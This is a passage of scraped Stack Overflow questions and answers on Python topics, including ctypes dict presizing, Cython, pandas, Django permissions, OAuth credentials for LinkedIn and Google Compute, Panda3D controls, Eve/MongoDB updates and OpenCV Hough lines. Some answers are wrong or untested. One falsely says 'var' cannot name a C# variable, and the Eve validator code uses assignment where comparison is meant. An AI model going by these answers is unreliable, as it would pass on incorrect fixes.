map.drawmeridians(np.arange(-123.,-122.,.3),labels=[0,0,0,1]) plot.title(filename) plot.show() Answer: Ok so I think it's a problem with your matplotlib install. First try updating matplotlib to the lastest version if it still does'nt work try this : Be careful and make a backup In : /usr/lib/python2.7/site-packages/mpl_toolkits/basemap/__init__.py You must change the line : if t is not None: linecolls[int(lat)][1].append(t) to : if t is not None: linecolls[lat][1].append(t)
Can a callout to C presize a Python dict's capacity? Question: As an optimization for handling a dict which will hold tens or hundreds of millions of keys, I'd really, really like to pre-size its capacity... but there seems no Pythonic way to do so. Is it practical to use Cython or C callouts to directly call CPython's internal functions, such as [dictresize()](https://hg.python.org/cpython/file/09811ecd5df1/Objects/dictobject.c#l592) or [_PyDict__NewPresized()](https://hg.python.org/cpython/file/09811ecd5df1/Objects/dictobject.c#l686), to achieve this? Answer: It depends on what you mean by practical. It's certainly straightforward enough; you can just call `_PyDict_NewPresized(howevermany)`. Heck, you can even do it from Python: >>> import ctypes >>> import sys >>> ctypes.pythonapi._PyDict_NewPresized.restype = ctypes.py_object >>> d = ctypes.pythonapi._PyDict_NewPresized(100) >>> sys.getsizeof(d) 1676 >>> sys.getsizeof({}) 140 >>> len(d) 0 As you can see, the dict is presized, but it has no elements. Whether depending on CPython implementation details like this is practical is up to you.
Avoid loops in the computation of logistic equation? Question: I am trying to calculate the nth value of a logistic equation in Python. It is easy to do it with a loop: import timeit tic = timeit.default_timer() x = 0.23 i = 0 n = 1000000000 while (i < n): x = 4 * x * (1 - x) i += 1 toc = timeit.default_timer() toc - tic However it is also generally time-consuming. Doing it in PyPy greatly improves the performance, as suggested by abarnert in [Is Matlab faster than Python (little simple experiment)](http://stackoverflow.com/questions/30475410/is- matlab-faster-than-python-little-simple-experiment). I have also been suggested to avoid Python loops and use NumPy arrays and vector operations instead - actually I do not see how these can help (it seems to me that NumPy operations are similar to Matlab ones, and I am unaware of any way the code above can be vectorized in Matlab either). Is there a way to optimize the code without loops? Answer: Without loops? Maybe,but this is probably not be the best way to go. It's important to realize that loops are not per-se slow. You try to avoid them in `python` or `matlab` in high performance code. If you are writing `C` code, you don't have to care. So one idea to optimize here would be to use `cython` to compile your code to `C` code: `python` version: def calc_x(x, n): i = 0 while (i < n): x = 4 * x * (1 - x) i += 1 return x statically typed `cython` version: def calc_x_cy(double x, long n): cdef long i = 0 while (i < n): x = 4 * x * (1 - x) i += 1 return x And all of a sudden, you are almost two orders of magnitude faster: `%timeit calc_x(0.23, n)` -> 1 loops, best of 3: 26.9 s per loop `%timeit calc_x_cy(0.23, n)` -> 1 loops, best of 3: 370 ms per loop
Python package usage Question: I have "Dir A" which contains "Dir B" and "Dir C". "Dir B" has "file.py" and "Dir C" has "library.py". I want to be able to import "library.py" into "file.py". and other possible files. I am very confused how to do it. Can someone help please? I tried putting "**init**.py" inside different directories but it does not seem to help when i do "import library" in "file.py". Thanks! Answer: First you need to name your init files as **init**.py to turn them into packages: dir_A __init__.py dir_B __init__.py file.py dir_C __init__.py library.py Now from file.py you should be able to use: import A.C.library
Pulling out quotes from within a text file Question: Let's say I have a text file in python that says: the data starts test Age="0" Order="51" Doctor-ID="XX2342" test Age="0" Order="53" Doctor-ID="XX2342" end of data What code would return: "0" "51" "XX2342" "0" "53" "XX2342" Returning lists would also work. [["0","51","XX2342"] ["0","53","XX2342"]] Thank you! Answer: This is a perfect job for regex line = 'test Age="0" Order="51" Doctor-ID="XX2342"' import re re.findall('"(.*?)"', line) >>> ['0', '51', 'XX2342'] For operating on multiple lines: lines = ''' test Age="0" Order="51" Doctor-ID="XX2342" test Age="0" Order="53" Doctor-ID="XX2342" ''' results = [] for line in lines.split('\n'): result = re.findall('"(.*?)"', line) if result: results.append(result) for result in results: print result This gives: ['0', '51', 'XX2342'] ['0', '53', 'XX2342']
Python faulthandler show error window Question: I might be totally overlooking something but is there a way to show a custom error window when while using the `faulthandler` package. Currently I'm just writing to a log file using: faulthandler.enabled(file=open("crash.log", "w")) however it would be really nice to be able to show some kind of window to the user with an error message. Any ideas on how I can do this? Answer: There is no way to change the behaviour of [faulthandler](https://pypi.python.org/pypi/faulthandler) to do something different other than log faults to a file-like object according to the [documetnation](https://docs.python.org/3/library/faulthandler.html) However you can change [`sys.excepthook`](https://docs.python.org/2/library/sys.html#sys.excepthook) and use a [`PyQt4.QtGui.QMessageBox`](http://pyqt.sourceforge.net/Docs/PyQt4/qmessagebox.html) **Example:** #!/usr/bin/env python import sys from PyQt4.QtGui import QMainWindow, QMessageBox class App(QMainWindow): def __init__(self, parent=None): QMainWindow.__init__(self, parent) sys.excepthook = self._displayError def _error(self, etype, evalue, etraceback): QMessageBox.critical( self, "ERROR", "An unexpected error occurred: {0:s}".format(evalue) )
Python Numpy Error: ValueError: setting an array element with a sequence Question: I am trying to build a dataset similar to mnist.pkl.gz provided in theano logistic_sgd.py implementation. Following is my code snippet. import numpy as np import csv from PIL import Image import gzip, cPickle import theano from theano import tensor as T def load_dir_data(csv_file=""): print(" reading: %s" %csv_file) dataset=[] labels=[] cr=csv.reader(open(csv_file,"rb")) for row in cr: print row[0], row[1] try: image=Image.open(row[0]+'.jpg').convert('LA') pixels=[f[0] for f in list(image.getdata())] dataset.append(pixels) labels.append(row[1]) del image except: print("image not found") ret_val=np.array(dataset,dtype=theano.config.floatX) return ret_val,np.array(labels).astype(float) def generate_pkl_file(csv_file=""): Data, y =load_dir_data(csv_file) train_set_x = Data[:1500] val_set_x = Data[1501:1750] test_set_x = Data[1751:1900] train_set_y = y[:1500] val_set_y = y[1501:1750] test_set_y = y[1751:1900] # Divided dataset into 3 parts. I had 2000 images. train_set = train_set_x, train_set_y val_set = val_set_x, val_set_y test_set = test_set_x, val_set_y dataset = [train_set, val_set, test_set] f = gzip.open('file.pkl.gz','wb') cPickle.dump(dataset, f, protocol=2) f.close() if __name__=='__main__': generate_pkl_file("trainLabels.csv") Error Message: Traceback (most recent call last): File "convert_dataset_pkl_file.py", line 50, in <module> generate_pkl_file("trainLabels.csv") File "convert_dataset_pkl_file.py", line 29, in generate_pkl_file Data, y =load_dir_data(csv_file) File "convert_dataset_pkl_file.py", line 24, in load_dir_data ret_val=np.array(dataset,dtype=theano.config.floatX) ValueError: setting an array element with a sequence. * * * csv file contains two fields.. image name, classification label when is run this in python interpreter, it seems to be working for me.. as follows.. I dont get error saying setting an array element with a sequence here.. \---------python interpreter output---------- image=Image.open('sample.jpg').convert('LA') pixels=[f[0] for f in list(image.getdata())] dataset=[] dataset.append(pixels) dataset.append(pixels) dataset.append(pixels) dataset.append(pixels) dataset.append(pixels) b=numpy.array(dataset,dtype=theano.config.floatX) b array([[ 2., 0., 0., ..., 0., 0., 0.], [ 2., 0., 0., ..., 0., 0., 0.], [ 2., 0., 0., ..., 0., 0., 0.], [ 2., 0., 0., ..., 0., 0., 0.], [ 2., 0., 0., ..., 0., 0., 0.]]) Even though i am running same set of instruction (logically), when i run sample.py, i get valueError: setting an array element with a sequence.. I trying to understand this behavior.. any help would be great.. Answer: The problem is probably similar to that of [this question](http://stackoverflow.com/questions/4674473/valueerror-setting-an- array-element-with-a-sequence). You're trying to create a matrix of pixel values with a row per image. But each image has a different size so the number of pixels in each row is different. You can't create a "jagged" float typed array in numpy -- every row must be of the same length. You'll need to pad each row to the length of the largest image.
django access control based on a model field value Question: I have a model class `Department` with a field `name`. I have another Model `Student` with a foreign key to `Department`. I want to control access to `Student` objects based on department. That is, a user with permission to edit the department with name "CS" can only edit that fields. How this can be achieved in Django? (I'm using django 1.8, python3) **Edit** class Department(models.Model): name = models.CharField(_('department name'), max_length=255) class Students(models.Model): first_name = models.CharField(_('first name'), max_length=30) last_name = models.CharField(_('last name'), max_length=30) department = models.ForeignKey('Department') Also I'm creating required permissions dynamically while adding new department.(eg: if department.name for new entry is 'CS', 2 permissions like 'view_CS' and 'edit_CS' will be created) Answer: Based on <http://django- guardian.readthedocs.org/en/v1.2/userguide/assign.html#for-group> class Department(models.Model): name = models.CharField(_('department name'), max_length=255) class Meta: permissions = ( ('view', 'View department'), ('edit', 'Edit department'), ) **Somewhere in views** : from django.contrib.auth.models import Group cs_department = Department.objects.get(name='cs_department') cs_department_group = Group.objects.create(name=cs_department.name) assign_perm('view', cs_department_group, cs_department) assign_perm('edit', cs_department_group, cs_department) request.user.groups.add(cs_department_group) print(request.user.has_perm('view', cs_department)) # True print(request.user.has_perm('edit', cs_department)) # True
c# method not returning string to python Question: I am trying to call c# code from python using ctypes module. The problem is c# method returning integer value properly but not doing so for string. It returns different numbers instead of string. The number also varies each time it runs. Can anyone please tell what is the problem with this code. My python code is given below: Python Code: import ctypes a = ctypes.cdll.LoadLibrary(r"C:\path\ConsoleApplication1.dll") print a.mul(10,4) print a.add(10,4) print a.str() C# code: using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Runtime.InteropServices; using RGiesecke.DllExport; class Test { [DllExport("TestExport", CallingConvention = CallingConvention.Cdecl)] public static int add(int left, int right) { return left + right; } [DllExport("mul", CallingConvention = CallingConvention.Cdecl)] public static int mul(int left, int right) { return left * right; } [DllExport("str", CallingConvention = CallingConvention.Cdecl)] public static String str() { String var = "hello"; return var; } } Answer: Change following code [DllExport("str", CallingConvention = CallingConvention.Cdecl)] public static String str() { String var = "hello"; return var; } to [DllExport("str", CallingConvention = CallingConvention.Cdecl)] public static String str() { String str= "hello"; return str; } `var` is keyword in `c#` and cannot be used as variable name
how to store csv field values in an array in python Question: Suppose I have two csv files file1.csv event_id, polarity 1124, 0.3763 36794, 0.638 dhejjd, 0.3627 file2.csv event_id, tallies 61824, 0.3 36794, 0.8 dhejjd, 0.9 dthdnb, 0.66 I want to access the polarity and tallies for each event_id. how can i read these files in 2 arrays so that for each [event_id] i can get the polarity and tallies and then perform my calculations with these two values. i was trying this but didnt work out I got an error: for event_id, polarity in file1reader: ValueError: need more than 1 value to unpack My code: import csv file1reader = csv.reader(open("file1.csv"), delimiter=",") file2reader = csv.reader(open("file2.csv"), delimiter=",") header1 = file1reader.next() #header header2 = file2reader.next() #header for event_id, polarity in file1reader: #if event_id and polarity in file1reader: for event_id, tallies in file2reader: #if event_id in file2reader: if file1reader.event_id == file2reader.event_id: print event_id, polarity, tallies break file1reader.close() file2reader.close() Answer: Use [pandas](http://pandas.pydata.org/) data frames instead of numpy arrays import pandas as pd df = pd.read_csv("file1.csv", index_col="event_id", skipinitialspace=True) df2 = pd.read_csv("file2.csv", index_col="event_id", skipinitialspace=True) df = df.merge(df2, how='outer', left_index=True, right_index=True) P.S. Corrected the code so that it runs. The 'outer' join means that if only 'polarity' or 'tallies' exist for a given 'event_id', then missing values are coded as `NaN`s. The output is polarity tallies event_id 1124 0.3763 NaN 36794 0.6380 0.80 61824 NaN 0.30 dhejjd 0.3627 0.90 dthdnb NaN 0.66 If you need only rows where both are present, use `how='inner'` P.P.S To work with this data frame further you can, for example, replace `NaNs` with some value, let us say `0`: df.fillna(0, inplace=True) You can select elements by label df.loc["dhejjd","polarity"] df.loc[:,"tallies"] or by integer position df.iloc[0:3,:] If you never used pandas, it takes some time to learn it and get used to it. And it is worth every second.
Python import variable from file Question: i have a this 2 file: main.py and abc.py main.py is: dm = [100, 200, 300] import abc abc.abcp(dm) from abc import * pabc = abc.dmabc print pabc abc.py is: def abcp(dm): dmabc = list(dm) dmabc[0] -= 50 print dmabc return dmabc The error is: pabc = abc.dmabc (AttributeError: 'module' object has no attribute dmabc) if i write: from abc import abcp pabc = abc.dmabc print pabc The error is: from abc import abcp (ImportError: cannot import name bmf) if i write: from abc import abcp from abcp import dmabc pabc = abc.dmabc print pabc The error is: from abpc import dmabc (ImportError: No module named abpc) So how can i import dmabc variable from abc.py file? Answer: You cannot access the variable `dmabc` because it's a local variable in `abc.py`. The best way would be to **store the return value** when calling `abc.dmabc`: `main.py`: dm = [100, 200, 300] import abc pabc = abc.abcp(dm) print pabc
combine python function with for loops in bash terminal Question: I aimed to open multiple files (one by one, using for loop in bash terminal) and modify it using PLINK (a programme) and later on, python function. Following are the codes: for i in {1..10}; do plink --cow --noweb --lfile $i --extract extract1.snp --recode --out 1$i python -c 'import file_convert;file_convert.convert_tree_mix("1$i.map","tmp$i")' done But, as expected, python could not read and could not open "11.map", it did not replace "$i" with 1. How can i modify the code so that python function, in combination with for loop, open different file each time based on the value of "i" Answer: Have you tried calling python like that: python -c 'import sys; import file_convert;file_convert.convert_tree_mix(sys.argv[1],sys.argv[2])' "1$i.map" "tmp$i"; ?
Matplotlib into a Django Template Question: Im using python 3.4 and Django 1.8. I want to "print" a matplotlib result in a Django template. I reach this a few days ago, so I continue in other things of my Django App. Now, I dont know why, I was going to show the result to a friend, and my template with a matplotlib graph, now shows a big code! I dont know why this happen, because my view doesnt change in anything from when it was showing the right graph! Please help me! This is my view! from django.shortcuts import render from matplotlib import pylab from pylab import * import PIL import PIL.Image import io from io import * def graphic(request): pos = arange(10)+ 2 barh(pos,(1,2,3,4,5,6,7,8,9,10),align = 'center') yticks(pos,('#hcsm','#ukmedlibs','#ImmunoChat','#HCLDR','#ICTD2015','#hpmglobal','#BRCA','#BCSM','#BTSM','#OTalk')) xlabel('Popularity') ylabel('Hashtags') title('Hashtags') subplots_adjust(left=0.21) buffer = io.BytesIO() canvas = pylab.get_current_fig_manager().canvas canvas.draw() graphIMG = PIL.Image.fromstring('RGB', canvas.get_width_height(), canvas.tostring_rgb()) graphIMG.save(buffer, "PNG") content_type="Image/png" buffercontent=buffer.getvalue() graphic = (buffercontent ,content_type) pylab.close() return render(request, 'graphic.html',{'graphic':graphic}) Of course in my graphic.html is a variable called {{graphic}} inside a blockcontent! This was showing the right result in my template! What happen? Now sometimes when i run my template it shows a big code, or just show me this django error: Exception Value: main thread is not in main loop Exception Location: C:\Python34\lib\site-packages\matplotlib\backends\tkagg.py in blit, line 17 Help! Answer: Edit: try with graphic = cStringIO.StringIO() canvas.print_png(graphic) return render(request, 'graphic.html',{'graphic':graphic}) You have to specify that your image is a binary string: <img src="data:image/png;base64,{{graphic|safe}}"> Or actually save it to the filesystem and provide the path. Alternatively you could use bokeh <http://bokeh.pydata.org/en/latest/> which can give you the html + javascript to embed the plot direclty in the template, then it is dynamically generated and brings nice features. It's built by continum analytics, the anaconda distro guys.
Python API's Require OAUTH_TOKEN and OAUTH_TOKEN_SECRET Keys Question: How do I get these keys from LinkedIn? OAUTH_TOKEN and OAUTH_TOKEN_SECRET When I register my application on LinkedIn Developer, I'm only getting: CONSUMER_KEY, CONSUMER_SECRET I have two Python functions which require it. E.g. - from linkedin import linkedin # pip install python-linkedin # Define CONSUMER_KEY, CONSUMER_SECRET, # USER_TOKEN, and USER_SECRET from the credentials # provided in your LinkedIn application CONSUMER_KEY = '' CONSUMER_SECRET = '' USER_TOKEN = '' USER_SECRET = '' RETURN_URL = '' # Not required for developer authentication # Instantiate the developer authentication class auth = linkedin.LinkedInDeveloperAuthentication(CONSUMER_KEY, CONSUMER_SECRET, USER_TOKEN, USER_SECRET, RETURN_URL, permissions=linkedin.PERMISSIONS.enums.values()) # Pass it in to the app... app = linkedin.LinkedInApplication(auth) # Use the app... app.get_profile() and #!/usr/bin/env python # encoding: utf-8 """ linkedin-2-query.py Created by Thomas Cabrol on 2012-12-03. Copyright (c) 2012 dataiku. All rights reserved. Building the LinkedIn Graph import oauth2 as oauth import urlparse import simplejson import codecs CONSUMER_KEY = "your-consumer-key-here" CONSUMER_SECRET = "your-consumer-secret-here" OAUTH_TOKEN = "your-oauth-token-here" OAUTH_TOKEN_SECRET = "your-oauth-token-secret-here" OUTPUT = "linked.csv" def linkedin_connections(): # Use your credentials to build the oauth client consumer = oauth.Consumer(key=CONSUMER_KEY, secret=CONSUMER_SECRET) token = oauth.Token(key=OAUTH_TOKEN, secret=OAUTH_TOKEN_SECRET) client = oauth.Client(consumer, token) # Fetch first degree connections resp, content = client.request('http://api.linkedin.com/v1/people/~/connections?format=json') results = simplejson.loads(content) # File that will store the results output = codecs.open(OUTPUT, 'w', 'utf-8') # Loop thru the 1st degree connection and see how they connect to each other for result in results["values"]: con = "%s %s" % (result["firstName"].replace(",", " "), result["lastName"].replace(",", " ")) print >>output, "%s,%s" % ("Thomas Cabrol", con) # This is the trick, use the search API to get related connections u = "https://api.linkedin.com/v1/people/%s:(relation-to-viewer:(related-connections))?format=json" % result["id"] resp, content = client.request(u) rels = simplejson.loads(content) try: for rel in rels['relationToViewer']['relatedConnections']['values']: sec = "%s %s" % (rel["firstName"].replace(",", " "), rel["lastName"].replace(",", " ")) print >>output, "%s,%s" % (con, sec) except: pass if __name__ == '__main__': linkedin_connections() I received this document from LinkedIn: <https://developer.linkedin.com/blog/posts/2015/transition-faq> Does this mean the API is now closed? Answer: OAuth 1.0a is still supported by LinkedIn, but it is no longer encouraging new implementations. You must request your own OAuth 1.0a token/secret values as part of the auth workflow. LinkedIn's application management console no longer automatically generates one for you as a convenience. Switching to OAuth 2.0 would probably be an easier approach. Further, please note that the call your library appears to be making to get a user's connections is no longer publicly available via the API as per the announcement made on LinkedIn's developer blog back in February (<https://developer.linkedin.com/blog/posts/2015/developer-program-changes>). So getting authentication working may not be the only problem you encounter.
Huge file handling and sorting using python Question: Im currently working on a program that uses a file having data in the format - 6 columns and dynamic no. of rows. The file I got for testing is 26 mb and following is the program that converts first 3 columns into 3 different lists. f = open('foo', 'r') print('running...') a = [] b = [] c = [] for line in f: x = (line.split(' ')) a.append(x[0]) b.append(x[1]) c.append(x[2]) print(a,b,c,sep='\n') I have rechecked this program and logic looks correct and when implemented on small file it works but when i use this program with the 26 mb file it stops responding. Description of the program: The program opens a file name 'foo' and implements line by line of the file. It splits the line into parts based on the separator that is defined as an argument in the .split() method. In my program I have used white space as an separator as in the text file the data is separated using white spaces. Im not able to figure out why this program stops responding and I need help with it! Answer: if you use `numpy`, you can use `genfromtxt`: import numpy as np a,b,c=np.genfromtxt('foo',usecols=[0,1,2],unpack=True) Does that work with your large file? EDIT: OK, so I tried it on your file, and it seems to work fine. So I'm not sure what your problem is. In [1]: from numpy import genfromtxt In [2]: a,b,c=genfromtxt('foo',usecols=[0,1,2],unpack=True) In [3]: a Out[3]: array([ 406.954744, 406.828508, 406.906079, ..., 408.944226, 408.833872, 408.788698]) In [4]: b Out[4]: array([ 261.445358, 261.454366, 261.602131, ..., 260.46189 , 260.252377, 260.650606]) In [5]: c Out[5]: array([ 17.451789, 17.582017, 17.388673, ..., 26.41099 , 26.481148, 26.606282]) In [6]: print len(a), len(b), len(c) 419040 419040 419040
How to make panda3d accept controls faster? Question: Hi I am trying to make a game on panda3d v 1.8.1 (python) but the controls seem to be very sloppy. One has to keep the keys pressed for a second or two to make things happen. Is there any way to make panda3d accept controls faster ? Here's my code of my key handler : class KeyHandler(DirectObject): def __init__(self): self.accept('arrow_left-repeat', self.lookLeft) self.accept('arrow_right-repeat', self.lookRight) self.accept('arrow_up-repeat', self.lookUp) self.accept('arrow_down-repeat', self.lookDown) self.accept('w-repeat', self.Moveforward) self.accept('s-repeat', self.Movebackward) self.accept('a-repeat', self.Moveleft) self.accept('d-repeat', self.Moveright) self.accept('q-repeat', self.MoveDown) self.accept('e-repeat', self.MoveUp) self.accept('space', self.Dotask) def lookLeft(self): global camxy camxy += 2 def lookRight(self): global camxy camxy -= 2 def lookUp(self): global camyz camyz += 2 def lookDown(self): global camyz camyz -= 2 def Moveforward(self): global camx if camx < 57 : camx += 1 def Movebackward(self): global camx if camx > -32 : camx -= 1 def Moveleft(self): global camy if camy < 42 : camy += 1 def Moveright(self): global camy if camy > -36 : camy -= 1 def MoveUp(self): global camz if camz < 15 : camz += 0.5 def MoveDown(self): global camz if camz >1 : camz -= 0.5 a = KeyHandler() def set_cam(task) : camera.setPos(camx,camy,camz) camera.setHpr(camxy,camyz,camzx) taskMgr.add(set_cam, "setcamTask") The camera which I am using is the default camera of panda3d. Any help would be appreciated ! Answer: You should avoid using the "-repeat" handlers. They take just as long to trigger as more letters take to appear if you hold a key down in any textbox. The usual way is to use a `dict` keeping key state: class KeyHandler(DirectObject): keys = {"lookLeft": False, "lookRight": False} # etcetera def __init__(self): DirectObject.__init__(self) self.accept('arrow_left', self.pressKey, ["lookLeft"]) self.accept('arrow_left-up', self.releaseKey, ["lookRight"]) taskMgr.add(self.set_cam, "setcamTask") def pressKey(self, key): self.keys[key] = True def releaseKey(self, key): self.keys[key] = False # Hopefully method will be passed bound def set_cam(self, task): dt = globalClock.getDt() if self.keys["lookLeft"]: camera.setH(camera.getH() + 2 * dt) elif self.keys["lookRight"]: camera.setH(camera.getH() + 2 * dt) a = KeyHandler() This will also allow you to define user settings for keys more easily. This is not the first or even most important issue with that code though. `set_cam` should really be a method of `KeyHandler` instead of declaring every variable global, and you should multiply movement by each frame's dt to keep the game looking the same speed with different framerates.
accessing variables from main method in python idle Question: So I know if I create a python file with no main method declared and then I run it, I'm able to access the variables within that file from the idle, but if I do declare a main method, then I cannot access any variables from the idle after the main method has finished running. Does anyone know if there's a workaround where I'm able to use methods in my python program, while also being able to access variables from within them in the idle? Answer: If you declare variable inside a method/function they are only in scope for the life of that method or function. You can't access them from outside. If you want some variable to be available to you declare it in the global space and then import like you would any other function/class. **file1.py** some_var = whatever def foo(): another_var = 42 def bar(): return 42 **file2.py** from file1 import some_var Will give you acces to `some_var` however you will not be able to access `another_var` unless you return form your function and save like this from file1 import bar another_var = bar() You can access variable in a function while the function is running by using the `pdb` library like so: >>> def foo(x): import pdb; pdb.set_trace() # this is one of the rare times it's okay to import inside a function return x* 2 >>> foo(5) > <pyshell#13>(3)foo() (Pdb) x 5 (Pdb) `pdb` is a very useful debugging tool. It will help you see what id happening inside of your functions should you start getting some weird output. You can read more about it [here](https://docs.python.org/2/library/pdb.html)
Adding mongoDB document-array-element using Python Eve Question: **Background:** (using Eve and Mongo) I'm working in Python using the [Eve](http://python-eve.org) REST provider library connecting and to a mongoDB to expose a number of REST endpoints from the database. I've had good luck using Eve so far, but I've run into a problem that might be a bit beyond what Eve can do natively. My problem is that my mongoDb document format has a field (called "slots"), whose value is a list/array of dictionaries/embedded-documents. So the mongoDB document structure is: { blah1: data1, blah2: data2, ... slots: [ {thing1:data1, thing2:data2}, {thingX:dataX, thingY:dataY} ] } I need to add new records (I.E. add pre-populated dictionaries) to the 'slots' list. If I imagine doing the insert directly via pymongo it would look like: mongo.connection = MongoClient() mongo.db = mongo.connection['myDB'] mongo.coll = mongo.db['myCollection'] ... mongo.coll.update({'_id' : document_id}, {'$push': { "slot" : {"thing1":"data1","thingX":"dataX"} } } ) The REST action/URI combo that I would like to do this action is a `POST` to '_id/slots', e.g. URI of `/app/012345678901234567890123/slots`. **Problem:** (inserting an element into an array in Eve) From SO: [How to add to a list type in Python Eve without replacing old values](http://stackoverflow.com/questions/29659942/how-to-add-to-a-list-type- in-python-eve-without-replacing-old-values) and [eve project issue](https://github.com/nicolaiarocci/eve/issues/229) it appears Eve doesn't currently support operating on mongoDB embedded documents (or arrays?) unless the entire embedded document is rewritten, and rewriting the whole array is very undesirable in my case. * * * So, assuming its true Eve doesn't have a method to allow inserting of array elements (and given I already have numerous other endpoints working well inside of Eve)... * * * ... I'm now looking for a way, inside of an Eve/Flask configuration with multiple working endpoints, to intercept and change Eve's mongoDB write for just this one endpoint. I know (worst case) I can override the routing of Eve and to completely do the write by hand, but then I would have manage the `_updated` and hand check & change the documents `_etag` value, both things I would certainly prefer not to have to write new code for. I've looked at Eve's [Datebase event hooks](http://python- eve.org/features.html#database-event-hooks) but I don't see a way to modify the database commands that are executed (I can see how to change the _data_ , but not the _commands_). Anyone else already solved this problem already? If not any ideas on the most direct path to implement by hand? (hopefully reusing as much of Eve as possible because I do want to continue using Eve for all my (already working) endpoints) Answer: This is an interesting question. I believe that in order to achieve your goal you would need to perform two actions: 1. Build and pass a custom Validator. 2. Build and pass a custom Mongo data layer. This might sound like too much work, but that's probably not the case. * * * ## Custom Validator A custom validator is going to be needed because when you perform your PATCH request on the "push-enabled" endpoint you want to pass a document which is syntactically different from endpoint validation schema. You are going to pass a dict (`{"slot": {"thing1": "data1", "thingX": "dataX"}}`) whereas the endpoint expects a list: 'mycollection': { 'type': 'list', 'schema': { 'type': 'dict', 'schema': { 'thing1': {'type': 'string'}, 'thingX': {'type': 'string'}, } } } If you don't customize validation you will end up with a validation error (`list type expected`). I guess your custom validator could look something like: from eve.data.mongo.validation import Validator from flask import request class MyValidator(Validator): def validate_replace(self, document, _id, original_document=None): if self.resource = 'mycollection' and request.method = 'PATCH': # you want to perform some real validation here return True return super(Validator, self).validate(document) Mind you I did not try this code so it might need some adjustment here and there. An alternative approach would be to set up an alternative endpoint just for PATCH requests. This endpoint would consume the same datasource and have a dict-like schema. This would avoid the need for a custom validator and also, you would still have normal atomic field updates (`$set`) on the standard endpoint. Actually I think I like this approach better, as you don't lose functionality and reduce complexity. For guidance on multiple endpoints hitting the same datasource see [the docs](http://python- eve.org/config.html#multiple-api-endpoints-one-datasource) * * * ## Custom data layer This is needed because you want to perform a `$push` instead of a `$set` when `mycollection` is involved in a PATCH request. Something like this maybe: from eve.io.mongo import Mongo from flask import request class MyMongo(Mongo): def update(self, resource, id_, updates, original): op = '$push' if resource == 'mycollection' else '$set' return self._change_request(resource, id_, {op: updates}, original) * * * ## Putting it all together You then use your custom validator and data layers upon app initialisation: app = Eve(validator=MyValidator, data=MyMongo) app.run() Again I did not test all of this; it's Sunday and I'm on the beach so it might need some work but it _should_ work. With all this being said, I am actually going to experiment with adding support for push updates to the standard Mongo data layer. A new pair of global/endpoint settings, like `MONGO_UPDATE_OPERATOR`/`mongo_update_operator` are implemented on a private branch. The former defaults to `$set` so all API endpoints still perform atomic field updates. One could decide that a certain endpoint should perform something else, say a `$push`. Implementing validation in a clean and elegant way is a little tricky but, assuming I find the time to work on it, it is not unlikely that this could make it to Eve 0.6 or beyond. Hope this helps.
Hough transform detect shorter lines Question: Im using opencv hough transform to attempt to detect shapes. The longer lines are all very nicely detected using the HoughLines method.but the shorter lines are completely ignored. Is there any way to also detect the shorter lines? the code I'm using is described on this page <http://opencv-python- tutroals.readthedocs.org/en/latest/py_tutorials/py_imgproc/py_houghlines/py_houghlines.html> I'm more interested in lines such as the corner of the house etc. which parameter should I modify to do this with Hough transform? or is there a different algorithm I should be looking at ![Hough transform with OpenCV python tutorial](http://i.stack.imgur.com/BJsfL.jpg) Answer: On the link you provide look at [HoughLinesP](http://docs.opencv.org/modules/imgproc/doc/feature_detection.html#houghlinesp) import cv2 import numpy as np img = cv2.imread('beach.jpg') gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) edges = cv2.Canny(gray, 50, 150, apertureSize=3) minLineLength = 100 maxLineGap = 5 lines = cv2.HoughLinesP(edges, 1, np.pi/180, 50, minLineLength, maxLineGap) for x1, y1, x2, y2 in lines[0]: cv2.line(img, (x1, y1), (x2, y2), (0, 255, 0), 2) cv2.imwrite('canny5.jpg', edges) cv2.imwrite('houghlines5.jpg', img) Also look at the edge image generated from Canny. You should only be able to find lines where lines exist in the edge image. ![enter image description here](http://i.stack.imgur.com/2cAvJ.jpg) and here is the line detection output overlaid on your image: ![enter image description here](http://i.stack.imgur.com/74E8t.jpg) Play around with variables `minLineLength` and `maxLineGap` to get a more desirable output. This method also does not give you the long lines that HoughLines does, but looking at the Canny image, maybe those long lines are not desirable in the first place.
How to initialize GoogleCredentials object without using credentials files created by gcloud auth login Question: To connect to GCE i can use the credentials files created by _gcloud auth login_. Like this: from oauth2client.client import GoogleCredentials from googleapiclient.discovery import build credentials = GoogleCredentials.get_application_default() compute = build('compute', 'v1', credentials=credentials) def list_instances(compute, project, zone): result = compute.instances().list(project=project, zone=zone).execute() return result['items'] instances = list_instances(compute, 'project', 'zone') Above code uses the credentials stored at ~/.config/gcloud I would like to initialize GoogleCredentials object by directly setting values inside the code. Like client_id, client_secret.. PS: Above code is from this link : <https://cloud.google.com/compute/docs/tutorials/python-guide#gettingstarted> Answer: There is another way to initialize GoogleCredentials object: from oauth2client.client import GoogleCredentials from googleapiclient.discovery import build from oauth2client.client import AccessTokenCredentials from urllib import urlencode from urllib2 import Request , urlopen, HTTPError import json def access_token_from_refresh_token(client_id, client_secret, refresh_token): request = Request('https://accounts.google.com/o/oauth2/token', data=urlencode({ 'grant_type': 'refresh_token', 'client_id': client_id, 'client_secret': client_secret, 'refresh_token': refresh_token }), headers={ 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'application/json' } ) response = json.load(urlopen(request)) return response['access_token'] access_token = access_token_from_refresh_token('client_id', 'client_secret', 'refresh_token') credentials = AccessTokenCredentials(access_token, "MyAgent/1.0", None) compute = build('compute', 'v1', credentials=credentials) def list_instances(compute, project, zone): result = compute.instances().list(project=project, zone=zone).execute() return result['items'] instances = list_instances(compute, 'project', 'zone') \-- values for client_id, secret, refresh_token taken from ~/.config/gcloud/credentials
